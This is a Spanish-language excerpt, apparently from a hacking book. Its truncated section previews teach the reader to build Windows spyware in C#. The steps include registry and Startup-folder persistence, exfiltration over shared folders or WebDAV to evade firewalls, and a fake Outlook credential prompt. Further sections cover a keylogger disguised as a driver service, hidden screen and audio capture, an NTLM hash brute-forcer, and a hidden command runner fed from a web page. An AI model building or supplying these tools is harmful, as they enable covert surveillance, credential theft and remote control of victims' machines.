Desarrollar sus propias herramientas de hacking

1. Los medios clásicos

El arranque automático de un programa modificando el sistema operativo con permisos de administradores puede hacerse de manera clásica:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
 

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
 

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
 

Su configuración debe prepararse como en este ejemplo:...

1. Usar una carpeta compartida como destino

Si el equipo del usuario se encuentra en la misma red en la que se lanza el ataque, entonces será muy sencillo recuperar los archivos. Para ello, comparta una carpeta.

Cree un directorio en la carpeta pública llamada users.

C:\Users\Public\users
 

2. Configurar un servidor con WebDAV como destino

Si el equipo no se encuentra en la misma red, algo que puede ocurrir con el portátil de un comercial que viaja mucho, vamos a configurar un servidor web que funcionará como un servidor de archivos. Podremos copiar allí los archivos. Hubiésemos podido utilizar un servidor FTP, pero la salida de este servicio suele bloquearse en los cortafuegos de la empresa.

1. Principios básicos

Primero, elegimos una aplicación para su modificación. Para monitorearla, miraremos la lista de procesos. En cuanto esta arranque, la pararemos, si se trata de una aplicación de gestión, ya que la ventana de solicitud de credenciales debe ser única. Con programas como Outlook o IE, no necesitamos pararla, sino que debemos esperar a que haya arrancado completamente.

Para monitorear el proceso:

Process[] Procesos = Process.GetProcessesByName("Outlook");  
 
if (Procesos.Length > 0)
 

Para parar un proceso:

Procesos[0].Kill();
 

Para recuperar el nombre de usuario y el dominio actual:

Environment.UserName; 
Environment.UserDomainName;
 

La modificación de la ventana de solicitud se realizará con Paint, hasta obtener una imagen exenta de informaciones personales.

2. Crear el programa para Outlook

Para este programa, le aconsejamos insistentemente que utilice Visual Studio. Usaremos una captura de pantalla de la petición de autenticación para reproducirla lo mejor posible. Será, por lo tanto, más sencillo gestionar la parte gráfica con Visual Studio que con el Bloc de notas. Le recordamos que existe una versión «express», gratuita y descargable en el sitio web de Microsoft.

FormBorderStyle = None 
Text = Outlook 
BackgroundImage = ruta de la imagen de la ventana de login
 

Para no tener que rehacer cada botón y cada elemento, usaremos un Panel para cada zona donde se pueda hacer clic.

Name = ButOk  
BackgroundColor = Transparent
 

En los lugares donde aparece texto, como el nombre del dominio y el de usuario...

1. Principios básicos

Para esconder un poco más la aplicación en el administrador de tareas, vamos a darle un nombre con sus propiedades. Esto se hace por medio de las propiedades de la aplicación.

El nombre dado se parece al de un servicio de driver.

using System.Reflection;  
[assembly:AssemblyTitle("Driver Helper Service, Version 302.57")] 
[assembly:AssemblyVersion("7.17.13.697")]  
[assembly:AssemblyDescription("Driver Helper Service, Version 302.57")] 
[assembly:AssemblyCompany("Global Corporation. All rights reserved.")]
 

Usaremos en .NET User32.dll, que nos permitirá buscar las informaciones tecleadas con toda discreción. La función DllImport va a permitirnos cargar...

1. Principios básicos

Para capturar la pantalla, usaremos una función muy sencilla que se debe poner en marcha. Piense en encontrar un desencadenador interesante, como teclas pulsadas o un programa ejecutado; si no, el espacio usado para las capturas de pantalla aumentará rápidamente.

El código principal de este programa en el siguiente:

g.CopyFromScreen(sc.Bounds.Location, new Point(0, 0), 
sc.Bounds.Size);
 

Se completa con la gestión de todas las pantallas presentes, gracias al vector siguiente:

Screen[] pantallas = Screen.AllScreens;
 

using System;  
using System.Collections.Generic;  
using System.Text;  
using System.Drawing.Imaging;  
using System.Drawing;  
using System.Windows.Forms;  
using System.Threading;  
  
namespace PrintScreen  
{  
    class Program  
    {  ...

1. Principios básicos

Para grabar el sonido, existen multitud de funciones en .NET, pero necesitan generalmente de la instalación de un SDK. Preferimos presentarle un código que se compila en todos los tipos de equipos sin ningún añadido. Para ello, usaremos la DLL Winm.dll.

[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = 
CharSet.Ansi, SetLastError = true, ExactSpelling = true)] 
        private static extern int mciSendString(string 
lpstrCommand, string lpstrReturnString, int uReturnLength, 
int hwndCallback); 
  
        [DllImport("winmm.dll", EntryPoint = "waveOutGetVolume")] 
        public static extern void GetWaveVolume(IntPtr 
devicehandle, out int Volume);
 

Esta DLL es muy sencilla de utilizar para grabar el sonido.

Para grabar el sonido:

mciSendString("open new Type waveaudio Alias recsound", "", 0, 0); 
mciSendString("record recsound", "", 0, 0);
 

Para enviar lo capturado a un archivo y cerrarlo:

mciSendString("save recsound miarchivo.wav", "", 0, 0); 
mciSendString("close recsound "...

1. Principios básicos

Para ello, utilizaremos una biblioteca de .NET que gestiona MD4, esta es gratuita y descargable en Internet. .NET no permite por defecto usar MD4. Microsoft anima a los desarrolladores a utilizar MD5 o algoritmos de hashes más seguros. Con un objetivo educativo, compararemos contraseñas de tipo numérico que tengan entre 0 y 7 caracteres.

Para comparar nuestra eventual contraseña con la del archivo, transformaremos esta última en Unicode.

byte[] hashunicode = Encoding.Unicode.GetBytes(pass);
 

Vamos a resumirlo con el algoritmo MD4.

byte[] hash = ComputeMD4(hashunicode);
 

Después transformaremos el resultado en hexadecimal para compararlo con la contraseña proveniente de la extracción.

string txtmd4 = "";  
            foreach (byte b in hash)  
            {  
                txtmd4 += b.ToString("X");  
            }
 

Usaremos una función que solo se encuentra a partir del framework 4. Esta última permite hacer bucles usando el paralelismo, y por lo tanto resolver las comparaciones de la contraseña a mayor velocidad.

Parallel.For(0, 9999999, i => {
 

2. Crear la aplicación

Una vez descargada la librería, copie el archivo en un directorio. Después cree un nuevo archivo de texto crack.txt con el siguiente...

1. Principios básicos

Vamos a utilizar un objeto WebClient para abrir el archivo sin descargarlo.

WebClient paginaWeb = new WebClient(); 
Stream flujo = paginaWeb.OpenRead(ruta); 
StreamReader contenido = new StreamReader(flujo);
 

La primera línea es el comando, la segunda representa los parámetros y la tercera indica si la aplicación debe ser visible o no para el usuario.

      string command, param = "";  
      bool EsVisible = false;  
      command = contenido.ReadLine();  
      try{ param = contenido.ReadLine(); } catch { }  
      try { EsVisible = bool.Parse(contenido.ReadLine()); } catch { }
 

El archivo de comandos es un simple archivo de texto, subido en un sitio web con una dirección fija y siempre con el mismo nombre. La variable Contenido es la página web que se lee. Se puede leer una página más compleja, como un blog o un foro, y buscar allí comandos que se van a ejecutar. Basta con analizar el texto de esta variable.

El texto que genera...

1. Principios básicos

Empecemos por el programa. La parte importante del código es la siguiente. El resto del código se parece a los ejemplos anteriormente propuestos:

try  
            {  
                String Command = Environment.CommandLine;  
                String[] arguments = Command.Split('=');  
                String ProcessArgs = "";  
                Process p = new Process();  
                p.StartInfo.FileName = arguments[1];  
                if (arguments[2].Length > 2)  
                    p.StartInfo.Arguments = arguments[2];  
                  
        ...

1. Principios básicos

Vamos a crear un servicio de Windows que se ejecutará con permisos de sistema y se encargará de cambiar el PIN en lugar del usuario. Además, haremos una aplicación donde el usuario podrá introducir el código PIN y será enviado al servicio.

Para crear un servicio, nuestra clase debe heredar de ServiceBase.

public partial class Servicio1 : ServiceBase
 

Los métodos principales obligatorios llamados por el sistema son Start y Stop:

protected override void OnStart(string[] args) 
        {  
        }  
  
protected override void OnStop()  
        {  
        }
 

Para la comunicación entre el servicio y la aplicación de usuario, utilizaremos los Named Pipes, lo que significa que comunicaremos los dos procesos usando la memoria del sistema: un medio simple, rápido y eficaz.

Encontrará más información sobre los Named Pipes en el sitio web de Microsoft: http://msdn.microsoft.com/en-us/library/bb546085.aspx

El servicio debe escuchar y esperar que se le envíe un nuevo código PIN.

NamedPipeServerStream Escucha = new 
NamedPipeServerStream("\\\\.\\pipe\\PinSetting",  
System.IO.Pipes.PipeDirection.InOut,2);  
            StreamReader lector = new StreamReader(Escucha);  
 while(true)  
{  
       Escucha.WaitForConnection();  
  ...